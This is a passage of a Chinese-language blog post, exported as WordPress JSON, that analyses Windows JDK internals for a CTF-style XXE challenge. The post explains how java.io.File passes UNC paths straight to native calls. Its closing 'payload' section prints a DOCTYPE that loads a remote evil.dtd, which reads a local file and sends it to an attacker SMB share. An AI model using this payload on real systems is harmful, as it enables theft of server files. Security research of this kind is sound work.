\u629b\u51faIOException<\/pre>\n\n\n\n<p>\u5bf9\u4e8eFILE\u534f\u8bae\u4e2d\u7684\u6807\u51c6UNC\u5199\u6cd5\uff0c\u5373file:\/\/host\/file\/to\/path\uff0c\u4e14\u9700host\u975e&#8221;localhost&#8221;\uff0c\u4f1a\u53d6\u51fahost\u53ca\u5bf9\u5e94\u8def\u5f84\uff0c\u62fc\u63a5\u4e0a<code>\\\\<\/code>\uff0c\u4f5c\u4e3anew File\u7684\u5165\u53c2\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103013342919.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103013342919.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103013342919\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103013408814.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103013408814.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103013408814\"\/><\/div><\/figure>\n\n\n\n<p><strong>\uff08\u6ce8\uff1a\u56fe\u4e00idea\u7ecf\u5178\u72af\u75c5\u4e86\uff0c\uff0c\uff0cvar3\u5728\u56fe2\u91cc\u662f\u663e\u793a\u6b63\u786e\u7684\uff09<\/strong><\/p>\n\n\n\n<p>java.io.File\u662f\u63a5\u53d7\u89e3\u6790UNC\u8def\u5f84\u7684\uff0c \u5b83\u4f1a\u8c03\u7528java.io.WinNTFileSystem\u7c7b\u53bb\u89e3\u6790\uff0c\u5e76\u4e14\u6574\u4e2a\u89e3\u6790\u8fc7\u7a0b\u90fd\u662f\u76f4\u63a5\u53bb\u8c03native\u65b9\u6cd5\uff0c\u6ca1\u6709\u8fc7\u591a\u7684\u5bf9\u8def\u5f84\u7684\u5904\u7406 \uff1bjava .io.File\u662f\u80fd\u591f\u63a5\u53d7\\n\u4f5c\u4e3a\u8def\u5f84\u4e00\u90e8\u5206\u7684\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103014516613.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103014516613.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103014516613\"\/><\/div><\/figure>\n\n\n\n<p>\u968f\u540e\uff0c\u771f\u6b63\u5efa\u7acb\u8fde\u63a5\u7684\u903b\u8f91\u5728<\/p>\n\n\n\n<p>FileURLConnection#getInputStream()<\/p>\n\n\n\n<p>-&gt;<\/p>\n\n\n\n<p>FileURLConnection#connect()\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103015814018.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/image-20260103015814018.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260103015814018\"\/><\/div><\/figure>\n\n\n\n<p>\u672c\u8d28\u4e0a\u5c31\u662f\u5229\u7528\u8def\u5f84\u5efa\u7acb\u4e00\u4e2aFileInputStream\uff0c\u5e76\u4ece\u6d41\u4e2d\u8bfb\u53d6\u5185\u5bb9\u3002\u771f\u6b63\u6821\u9a8c\u6587\u4ef6\u662f\u5426\u5b58\u5728\u3001\u83b7\u53d6\u6587\u4ef6\u5185\u5bb9\u8fd9\u4e9b\u90fd\u662f\u8c03\u7528native\u65b9\u6cd5\uff1b\u800c\u5728\u4eceFileInputStream\u63a5\u53d7UNC\u8def\u5f84\uff0c\u5230\u8c03\u7528native\u7684\u6574\u4e2a\u8fc7\u7a0b\u4e2d\uff0c\u5e76\u6ca1\u6709\u5bf9\u8def\u5f84\u8fdb\u884c\u4efb\u4f55\u5982\u5bf9&#8221;\\n&#8221;\u9650\u5236\u548c\u5904\u7406\uff0c\u54ea\u6015\u4f60\u8f93\u5165\u4e00\u4e2a\u9519\u8bef\u7684\u8def\u5f84\u4e5f\u4f1a\u8d70\u5230\u8c03\u7528native\u65b9\u6cd5\uff0c\u4e00\u5207\u4ea4\u7ed9\u5e95\u5c42API\u53bb\u505a\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">payload<\/h1>\n\n\n\n<p>\u8fd9\u4fbf\u662fWindows\u73af\u5883\u4e0b\u9ad8\u7248\u672cJDK\u65e0FTP\u7684XXE OOB\u4ee3\u7801\u5c42\u9762\u7684\u4e00\u4e9b\u5206\u6790\uff0c\u56de\u5230\u5b9e\u9645\u64cd\u4f5c\uff0c\u6211\u4eec\u7684\u6784\u9020\u5c31\u53d8\u5f97\u7b80\u5355\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">xml = \"&lt;!DOCTYPE convert [\\n\" +<br> &nbsp; &nbsp; &nbsp;  \"&lt;!ENTITY % remote SYSTEM \\\"http:\/\/127.0.0.1:9999\/evil.dtd\\\"&gt;\\n\" +<br> &nbsp; &nbsp; &nbsp;  \"%remote;%int;%send;\\n\" +<br> &nbsp; &nbsp; &nbsp;  \"]&gt;\"<\/pre>\n\n\n\n<p>evil.dtd:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;!ENTITY % file SYSTEM \"file:\/\/\/D:\/1.txt\"&gt;<br>&lt;!ENTITY % int \"&lt;!ENTITY send SYSTEM 'file:\/\/ip\/share\/%file;'&gt;\"&gt;<\/pre>\n\n\n\n<p>\u83b7\u53d6\u56de\u663e\u7aef\u53ef\u4ee5\u4f7f\u7528<a href=\"https:\/\/github.com\/cwkiller\/xxe-smb-server\">GitHub &#8211; cwkiller\/xxe-smb-server: \u5728xxe\u4e2d\u4f7f\u7528smb\u5916\u5e26\u591a\u884c\u5185\u5bb9<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6700\u8fd1\u901a\u8fc7\u5b66\u4e60\u5230Killer\u5e08\u5085\u51fa\u7684\u9898Java-Puzzle\/No-FTP-XXE at main \u00b7 cwki [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-40","post","type-post","status-publish","format-standard","hentry","category-java"],"_links":{"self":[{"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/posts\/40","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/comments?post=40"}],"version-history":[{"count":1,"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/posts\/40\/revisions"}],"predecessor-version":[{"id":41,"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/posts\/40\/revisions\/41"}],"wp:attachment":[{"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/media?parent=40"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/categories?post=40"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/byname6.cn\/index.php\/wp-json\/wp\/v2\/tags?post=40"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}